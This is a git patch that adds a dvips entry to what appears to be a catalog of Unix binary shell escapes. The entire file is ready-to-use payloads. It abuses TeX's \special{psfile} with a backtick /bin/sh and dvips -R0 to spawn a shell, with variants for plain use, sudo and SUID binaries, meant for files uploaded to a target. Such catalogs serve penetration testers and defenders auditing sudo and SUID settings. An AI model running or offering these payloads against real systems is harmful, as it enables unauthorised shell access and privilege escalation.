From e7bad6141b2e69b30654872b5b189dc685923a5b Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Sun, 2 May 2021 13:50:33 +0200 Subject: [PATCH] add data source for dvips --- data/dvips.json | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 data/dvips.json diff --git a/data/dvips.json b/data/dvips.json new file mode 100644 index 0000000..4e890f4 --- /dev/null +++ b/data/dvips.json @@ -0,0 +1,20 @@ +{ + "description": "The 'texput.dvi' output file produced by 'tex' can be created offline and uploaded to the target.", + "functions": { + "shell": [ + { + "code": "tex '\\special{psfile=\"`/bin/sh 1>&0\"}\\end'\ndvips -R0 texput.dvi\n" + } + ], + "sudo": [ + { + "code": "tex '\\special{psfile=\"`/bin/sh 1>&0\"}\\end'\nsudo dvips -R0 texput.dvi\n" + } + ], + "limited-suid": [ + { + "code": "tex '\\special{psfile=\"`/bin/sh 1>&0\"}\\end'\n./dvips -R0 texput.dvi\n" + } + ] + } +}